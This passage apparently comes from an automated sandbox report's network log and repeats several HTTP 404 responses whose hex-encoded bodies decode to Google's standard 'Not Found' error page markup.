65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:15 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:19 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:19 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:22 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:28 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:31 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 